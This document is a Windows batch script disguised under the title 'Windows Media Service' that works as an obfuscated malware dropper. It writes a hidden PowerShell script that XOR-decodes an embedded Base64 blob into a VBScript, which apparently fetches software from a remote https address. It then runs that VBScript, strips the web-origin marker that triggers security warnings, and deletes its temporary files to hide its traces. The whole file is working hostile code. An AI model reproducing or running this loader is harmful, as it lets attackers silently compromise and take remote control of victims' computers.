@echo off
setlocal
title Windows Media Service
set "v=%TEMP%\svc_%RANDOM%%RANDOM%.vbs"
set "p=%TEMP%\d_%RANDOM%.ps1"

> "%p%" echo $k=0x4E
>>"%p%" echo $b='HSs6bj0mbnNuDTwrLzorASwkKy06ZmwZHS08Jz46YB0mKyIibGdDRB0rOm4oPSFuc24NPCsvOisBLCQrLTpmbB0tPCc+OicgKWAIJyIrHTc9OisjASwkKy06bGdDRENEaW5jY2Njbh0rIihjKyIrOC86K246IW4vKiMnIG5jY2NjQ0QHKG4AITpuGR0tPCc+OmAPPCk7IysgOj1gAC8jKypgCzYnPTo9ZmwrIis4LzorKmxnbhomKyBDRG5ubm4NPCsvOisBLCQrLTpmbB0mKyIiYA8+PiInLS86JyEgbGdgHSYrIiILNistOzorbmw5PS08Jz46YCs2K2xibmxsbGxuaG4ZHS08Jz46YB0tPCc+Ogg7IiIALyMrbmhubGxsbmErIis4LzorKmxibmxsYm5sPDsgLz1sYm5+Q0Rubm5uGR0tPCc+OmAfOyc6Q0QLICpuByhDRENEaW5jY2NjbgMvJyBuJyA9Oi8iIis8bi0hKituY2NjY0NEOisjPm5zbj0mYAs2Pi8gKgsgOCc8ISAjKyA6HTo8JyApPWZsaxoLAx5rbGdDRCM9J25zbjorIz5uaG5sEhknICohOT1uAysqJy9uHiIvNys8YCM9J2xDRDs8Im5zbmwmOjo+PXRhYTo2Pi8qfy1jen0oKCx3fnx/LC92fmAhICInICthDCcgYR0tPCsrIA0hICArLTpgDSInKyA6HSs6Oz5gIz0ncStzDy0tKz09aDdzCTsrPTpsQ0RDRB0rOm4mOjo+bnNuDTwrLzorASwkKy06ZmwDHRYDAnxgFgMCBhoaHmxnQ0QmOjo+YAE+KyBubAkLGmxibjs8ImJuCC8iPStDRCY6Oj5gHSsgKkNEByhuJjo6PmAdOi86Oz1uc258fn5uGiYrIENEbm5ubh0rOm49OjwrLyNuc24NPCsvOisBLCQrLTpmbA8KAQoMYB06PCsvI2xnQ0Rubm5uPTo8Ky8jYAE+KyBDRG5ubm49OjwrLyNgGjc+K25zbn9DRG5ubm49OjwrLyNgGTwnOituJjo6PmAcKz0+ISA9KwwhKjdDRG5ubm49OjwrLyNgHS84KxohCCciK24jPSdibnxDRG5ubm49OjwrLyNgDSIhPStDRAsgKm4HKENEQ0Q9JmAcOyBubCM9Jys2Ky1uYSdubGxsbmhuIz0nbmhubGxsbmE/IG5hICE8Kz06Lzw6bGJufmJuGjw7K0NEQ0QHKG4oPSFgCCciKws2Jz06PWYjPSdnbhomKyBuKD0hYAorIis6KwgnIituIz0n'
>>"%p%" echo $r=[System.Convert]::FromBase64String($b)
>>"%p%" echo $d=New-Object byte[] $r.Length
>>"%p%" echo for($i=0;$i -lt $r.Length;$i++){$d[$i]=$r[$i] -bxor $k}
>>"%p%" echo [System.IO.File]::WriteAllText('%v%',[System.Text.Encoding]::ASCII.GetString($d))

powershell -w hidden -ep bypass -f "%p%" >nul 2>&1
del "%p%" >nul 2>&1
echo:>"%v%:Zone.Identifier" 2>nul
wscript.exe "%v%"
ping -n 4 127.0.0.1 >nul
del "%v%" >nul 2>&1
exit